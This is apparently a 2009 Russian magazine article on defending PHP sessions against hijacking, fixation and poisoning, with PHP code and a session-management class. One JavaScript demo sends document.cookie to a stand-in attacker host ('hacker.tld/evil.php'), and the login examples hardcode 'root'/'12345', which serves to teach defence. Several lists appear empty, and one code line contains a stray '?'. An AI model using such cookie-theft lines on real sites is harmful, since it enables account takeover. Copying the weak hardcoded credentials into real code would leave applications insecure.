Безопасная работа с сессиями в PHP::Журнал СА 2.2009

Создатели PHP считают, что забота о безопасности работы с сессиями лежит на разработчике веб-приложения, а многие разработчики надеются на безопасность работы, которую гарантирует стандартный механизм работы с сессиями. В итоге разработчики не заботятся о безопасности сессий, а PHP не имеет защитных механизмов, поэтому многие PHP-приложения уязвимы.

Атаки на приложение через систему управления сессиями

Существует две основные причины, по которым возможны атаки на PHP-приложение через систему управления сессиями:

Рассмотрим ниже возможные варианты атак на приложение через систему управления сессиями.

Суть атаки заключается в использовании злоумышленником идентификатора сессии, принадлежащего легальному пользователю, для выдачи себя за владельца сессии.

Существует множество способов, с помощью которых можно узнать идентификатор чужой сессии, вот некоторые из них:

Для подмены сессии злоумышленнику не нужен идентификатор чужой сессии, достаточно установить идентификатор своей сессии легальному пользователю, прошедшему авторизацию. Логика такого типа атаки противоположна по отношению к краже сессии, но в обоих случаях создается ситуация, при которой злоумышленник и легальный пользователь имеют один и тот же идентификатор сессии.

Опасность отравления сессии возникает, когда PHP-приложение совместно с приложениями других пользователей исполняется на одном сервере. Угроза отравленной сессии возникает, если злоумышленник имеет возможность установить свой PHP-сценарий на сервере, где исполняется атакуемое приложение.

Суть атаки – если PHP-приложения исполняются на одном сервере, то велика вероятность, что, зная идентификатор сессии, злоумышленник сможет работать с данными сессии, созданной в атакуемом приложении.

Угроза отравления сессии существует, если злоумышленник может исполнять PHP-скрипты на сервере, где исполняется атакуемое приложение, что возможно в двух случаях:

Цель атаки – получение доступа к значениям сессии с возможностью чтения/записи. В случае успеха злоумышленник может читать и/или фальсифицировать любое значение, хранящееся в сессии.

В PHP механизм управления сессиями предполагает, что только владелец знает идентификатор сессии и для получения доступа к данным не требует дополнительной авторизации. По аналогии можно представить ситуацию, при которой банк выдаёт деньги человеку, знающему номер существующего счета. Для безопасной работы с сессиями необходим дополнительный механизм идентификации, не причиняющий неудобств легальным пользователям и являющийся существенной преградой для злоумышленников.

Рассмотрим несколько приемов, позволяющих эффективно противостоять атакам на систему управления сессиями. Для простоты изложения в дальнейшем мы будем предполагать, что идентификатор сессии хранится в переменной c именем PHPSESSID. Данное имя переменной используется PHP по умолчанию и может быть изменено с помощью встроенной функции session_name() или путем изменения директивы session.name в php.ini.

Основная идея данного механизма защиты заключается в том, чтобы привязать идентификатор сессии к браузеру пользователя. Мы используем заголовки HTTP-запроса для создания подписи браузера. В момент старта новой сессии данное значение вычисляется и сохраняется в переменной сессии. При повторном обращении мы снова вычисляем подпись браузера и сравниваем полученный результат со значением из сессии. Если значения не совпадают, то мы расцениваем это как попытку взлома и уничтожаем сессию.

Конечно, это приведет к тому, что данные легального пользователя, хранящиеся в сессии, также будут уничтожены (возможно, пользователю придется снова авторизоваться), но и добытый злоумышленником идентификатор сессии будет более не актуален.

Рассмотрим алгоритм построения подписи браузера на базе значения HTTP-заголовка User-Agent. Данное поле содержит подробную информацию об агенте, пославшем HTTP-запрос, вот несколько примеров значения данного поля для разных браузеров, установленных на моем компьютере:

Значение данного поля обладает следующими важными свойствами:

Разумеется, значение поля User-Agent не является абсолютно уникальным, но тем не менее вполне подходит для построения подписи браузера.

В PHP получить доступ к значению HTTP-заголовка User-Agent можно через элемент суперглобального массива $_SERVER['HTTP_USER_AGENT'].

Рассмотрим пример построения подписи браузера.

<?php

// Секретное значение, используется для построения подписи браузера

define('SESSION_BROWSER_SIGN_SECRET', '@w434253254s9');

/*

* Функция для построения подписи браузера

*

* @return string подпись браузера

*/

function getBrowserSign()    {

    /* Добавим секретное значение, чтобы по подписи

     * браузера злоумышленник не мог перебором найти

     * необходимое значение HTTP-заголовка */

    $rawSign = SESSION_BROWSER_SIGN_SECRET;



    /* Список элементов массива $_SERVER, значение

     * которых необходимо использовать для вычисления

     * построения подписи браузера */

    $signParts = array('HTTP_USER_AGENT');

    foreach($signParts as $signPart)    {

        $rawSign.= '::'.(isset($_SERVER[$signPart]) ? $_SERVER[$signPart] : 'none');

    }

return(md5($rawSign));

}

?>

При необходимости в массив $signParts можно добавить и другие HTTP-заголовки, такие как HTTP_ACCEPT_CHARSET, HTTP_ACCEPT_ENCODING, HTTP_ACCEPT_LANGUAGE.

Воспользуемся функцией getBrowserSign() для защиты сессии:

<?php

// Ключ для хранения подписи браузера

define('SESSION_BROWSER_SIGN_KEYNAME', 'session.app.browser.sign');

// Защита сессии с помощью подписи браузера

session_start();

// Вычислим подпись браузера для текущего пользователя

$currentBrowserSign = getBrowserSign();

if(isset($_SESSION[SESSION_BROWSER_SIGN_KEYNAME]))    {



    // Сравниваем подпись пользователя со значением из сессии

    if($currentBrowserSign != ?

         $_SESSION[SESSION_BROWSER_SIGN_KEYNAME])    {

        session_destroy();

        $_SESSION = array();

        die('Попытка взлома!');

    }



} else {

    /* Создана новая сессия. Сохраним подпись браузера

     * для дальнейшей идентификации владельца сессии */

    $_SESSION[SESSION_BROWSER_SIGN_KEYNAME] = $currentBrowserSign;

}

?>

Для усиления защиты можно добавить IP-адрес пользователя в качестве одного из параметров подписи браузера, что существенно осложнит подделку подписи браузера. К сожалению, данное решение имеет побочные эффекты. Значительная часть пользователей имеет разный IP-адрес при каждом подключении к Интернету, а иногда IP-адрес меняется несколько раз в течение одного сеанса работы, поэтому защитный механизм будет часто работать против легальных пользователей. С другой стороны, просьба повторно ввести пароль при работе с банковским счетом – приемлемая плата за более высокий уровень безопасности.

Частично решить проблему динамических IP-адресов в контексте построения подписи браузера можно следующими способами:

Целесообразность использования IP-адреса для идентификации владельца сессии зависит от специфики разрабатываемого приложения, но в большинстве случаев минусы данного решения перевешивают возможную выгоду.

Данный механизм защиты является необходимым для защиты от подмены и/или кражи сессии, но недостаточным для обеспечения высокого уровня безопасности, потому что подпись браузера можно подделать путем отправки HTTP-заголовков, значения которых совпадают со значениями заголовков, отправляемых легальным пользователем.

Настройка PHP на работу только с сессиями из cookies

PHP позволяет принимать от пользователя идентификатор сессии двумя способами:

По умолчанию доступны оба варианта, а значит, злоумышленнику для подмены сессии достаточно заставить пользователя кликнуть по ссылке: www.mysite.tld/index.php?PHPSESSID=< идентификатор сессии злоумышленника>.

В этом случае PHP присвоит пользователю идентификатор сессии злоумышленника. Кроме того, идентификатор сессий, входящий в состав URL, может быть опубликован самим пользователем вместе со ссылкой на сайт (высока вероятность кражи сессии).

Для повышения уровня безопасности необходимо запретить принимать идентификатор сессии через GET/POST-данные и использовать только систему – cookie. Для достижения этого эффекта исполним следующие команды:

// Использовать только cookie для передачи идентификатора сессии

Попытка изменить значение session.use_trans_sid в ходе исполнения приложения может привести к появлению предупреждения вида:

Поэтому в приведенном выше примере для подавления предупреждений использован символ @ перед операторами ini_set. Если есть возможность, то лучше вместо использования ini_set() прописать эти директивы напрямую в php.ini:

Использование системы cookie для передачи идентификатора сессии затрудняет кражу или подмену сессии. К сожалению, сессии перестанут работать для пользователей, отключивших cookie, однако этот факт не должен являться причиной отказа от хранения идентификатора сессии в cookie по следующим причинам:

Идентификатор сессии хранится на стороне пользователя в cookie с именем PHPSESSID. Доступ к этому значению позволит злоумышленнику организовать атаку типа «кража сессии» или «подмена сессии», поэтому защита cookie – важный элемент обеспечения безопасности работы с сессиями. Для наcтройки параметров cookie в PHP предусмотрена функция session_set_cookie_params (см. http://ru.php.net/manual/en/function.session-set-cookie-params.php), позволяющая:

Рассмотрим на практическом примере, как session_set_cookie_params помогает защитить идентификатор сессии.

<?php

session_start();

?>

<html>

<head>

    <title>Пример 1: Доступ к PHPSESSID с помощью JavaScript</title>

</head>

    <body>

        <script>

           // PHPSESSID содержит идентификатор сессии

           alert(document.cookie);

// Осуществляем кражу сессии путем передачи значений

// cookie скрипту злоумышленника (атака кража «сессии»)

window.open("http://hacker.tld/evil.php?"+document.cookie, 'new');

           // Кроме того, злоумышленник может изменить идентификатор сессии

           // (атака «подмена сессии»)

           document.cookie="PHPSESSID=hacked";

           // Теперь идентификатор сессии пользователя модифицирован

           alert(document.cookie);

        </script>

    </body>

Приведенный выше пример демонстрирует, насколько легко можно организовать атаку на «беззащитную» cookie. Воспользуемся функцией session_set_cookie_params для защиты:

<?php

// Используем HTTP-only cookie для хранения идентификатора сессии

session_set_cookie_params(0, ‘/’, ‘’, false, true);

session_start();

?>

<html>

<head>

    <title>Пример 2: Защита PHPSESSID с помощью http only</title>

</head>

    <body>

        <script>

           // PHPSESSID не доступна здесь

           alert(document.cookie);

// Украсть идентификатор сессии не удается

window.open("http://hacker.tld/evil.php?"+document.cookie, 'new');

           // Не удается изменить идентификатор сессии

           document.cookie="PHPSESSID=hacked";

           // Ничего сделать не удалось

           alert(document.cookie);

        </script>

    </body>

Правильное хранение идентификатора сессии существенно осложняет кражу или подмену сессии на начальном этапе, когда злоумышленник пытается узнать или изменить идентификатор сессии легального пользователя.

Предположим, что злоумышленник готовит атаку типа «подмена сессии» и сумел установить свой идентификатор сессии в браузер жертвы до того, как пользователь прошел авторизацию и как только пользователь пройдет авторизацию, злоумышленник получит доступ к аккаунту пользователя.

Предотвратить эту ситуацию поможет регенерация идентификатора сессии. При регенерации идентификатора сессии PHP отправит новый идентификатор пользователю, чей запрос привел к регенерации, а старый идентификатор будет более недоступен.

Например, если приложение будет регенерировать идентификатор сессии в момент авторизации, то даже если злоумышленник установит свой идентификатор, пользователь получит новый идентификатор сессии в момент авторизации, а идентификатор, установленный злоумышленником, перестанет существовать.

Для успешной защиты от подмены сессии необходимо регенерировать идентификатор в следующих случаях:

В PHP для регенерации идентификатора сессии существует функция session_regenerate_id(), рассмотрим пример авторизации пользователя со сменой идентификатора сессии:

<?php

session_start();

// Проверим, создана новая сессия или нет

if(!isset($_SESSION['createDate'])) {

    // Создана новая сессия, регенерируем идентификатор сессии

    session_regenerate_id(true);

$_SESSION['createDate'] = time();

}

// Авторизация пользователя

if($_REQUEST['login'] == 'root' && $_REQUEST['password'] == '12345'){

    // Пользователь авторизован, необходимо изменить идентификатор сессии

    session_regenerate_id(true);

    $_SESSION['isAdmin'] = true;

    echo 'Вы успешно прошли авторизацию';



} else {

    $_SESSION['isAdmin'] = false;

    echo 'Ошибка в имени или пароле!';

}

?>

Может возникнуть желание регенерировать идентификатор сессии при каждом запросе, но этого не стоит делать по следующим причинам:

Данная защита эффективна против атаки типа «подмена сессии» и косвенно осложняет атаку «кража сессии».

По умолчанию PHP хранит данные сессии в виде файлов, расположенных в каталоге, путь к которому указан в директиве session.save_path конфигурационного файла php.ini. Имена файлов, хранящие данные сессии, имеют формат имени вида sess_<идентификатор сессии> (например, sess_16d2f54d7ccea580faa02251cce9a5cc), т.е. зная имя файла, можно узнать идентификатор сессии. Только интерпретатор PHP и администратор сервера могут иметь доступ к каталогу с сессиями и никто более.

Часто на одном веб-сервере работает множество PHP-приложений, принадлежащих разным людям (разным пользователям хостинга). Если для всех приложений PHP использует одну и ту же папку для хранения файлов сессии, это потенциально позволяет организовать атаку типа «отравленная сессия».

Для повышения безопасности можно переопределить имя папки, хранящей файлы сессий. Для этого в PHP существует функция session_save_path, помогающая установить свой путь до папки, где будут храниться файлы с данными сессий пользователей.

Кроме того, PHP позволяет с помощью функции session_set_save_handler переопределить стандартный механизм хранения данных сессии. Описание принципа действия и пример использования session_set_save_handler можно найти по адресу: http://php.net/manual/ru/function.session-set-save-handler.php.

В качестве хранилища данных сессии можно использовать БД, что в большинстве случаев позволяет повысить уровень безопасности. Для хранения данных в БД можно создать собственный класс (см. http://shiflett.org/articles/storing-sessions-in-a-database) или воспользоваться PHP-расширением PostgreSQL Session Save Handler (см. http://www.php.net/manual/ru/book.session-pgsql.php).

Данный механизм защиты позволяет минимизировать вероятность атаки типа «отравление сессии».

Воспользуемся приведенными выше теоретическими выкладками для написания собственного класса управления сессиями, гарантирующего приемлемый уровень безопасности. Создавать экземпляр класса в нашей ситуации нет необходимости, поэтому все методы класса будут статичными.

<?php

/* Класс для управления сессиями */

class Session {

    const browserSignRandHash = 'W2452Sfdxrf3#';

    const browserSignKeyName = '__app_session_fp';



    const cookieName = 'PSID'; // Имя cookie сессии

    const lifetime   = 0; // Cookie существует до закрытия окна браузера

    const path       = '/'; // Путь cookie

    const domain     = ''; // Домен

    const secure     = false; // Использовать HTTPS

                              // для установки cookie

    const httponly   = true; // Использовать HTTP-only cookie



    /* Метод для старта сессии */

    public static function start()    {

        // Принимать идентификатор сессии только из cookie

        // (лучше прописать соответствующие директивы в php.ini)

        @ini_set('session.use_trans_sid', false);

        @ini_set('session.use_only_cookies', true);



        // Устанавливаем собственное имя cookie, хранящей ID сессии

        session_name(self::cookieName);



        // Задаем параметры cookie для хранения идентификатора сессии

        session_set_cookie_params(self::lifetime, self::path, self::domain, self::secure, self::httponly);



        session_start();



        // Вычисляем подпись браузера

        $browserSign = self::getBrowserSign();



        // новая сессия или нет

        if(isset($_SESSION[self::browserSignKeyName])) {



            // Проверим подпись браузера и значение

            // из сессии

            if($_SESSION[self::browserSignKeyName] != $browserSign)    {



                // Попытка взлома

                $error = 'Browser sign do not match: in session = ['.$_SESSION [self::browserSignKeyName].'] users = ['.$browserSign.']';



                // уничтожаем сессию

                self::destroy();



                // Обрабатываем ошибку

                die($error);

            }



        } else {

            // Создана новая сессия

            $_SESSION[self::browserSignKeyName] = $browserSign;



            // Изменяем идентификатор сессии

            self::changeId();

        }





    }



    public static function changeId(){

        session_regenerate_id(true);

    }



    public static function destroy() {

        session_unset();

        session_destroy();

        $_SESSION = array();

    }



    private static function getBrowserSign()    {

        return MD5(self::browserSignRandHash.':'.$_SERVER['HTTP_USER_AGENT']);

    }

}

?>

Рассмотрим пример использования класса Session для авторизации пользователя:

<?php

// Пример использования класса для управления сессиями

include “Session.php”;

Session::start();

if($_REQUEST['login'] == 'root' && $_REQUEST['password'] == '12345'){

Session::changeId();

$_SESSION['isAdmin'] = true;

echo 'Вы успешно прошли авторизацию';

} else {

$_SESSION['isAdmin'] = false;

echo 'Ошибка в имени или пароле!';

}

Класс Session обеспечивает приемлемый уровень защиты против кражи или подмены сессии, но не защищает от «отравленных» сессий и не является идеальным решением для всех проектов. Разные типы приложений требуют разных мер безопасности, поэтому для реального проекта необходимо определить основные источники угроз и модифицировать класс таким образом, чтобы обеспечить адекватные меры защиты.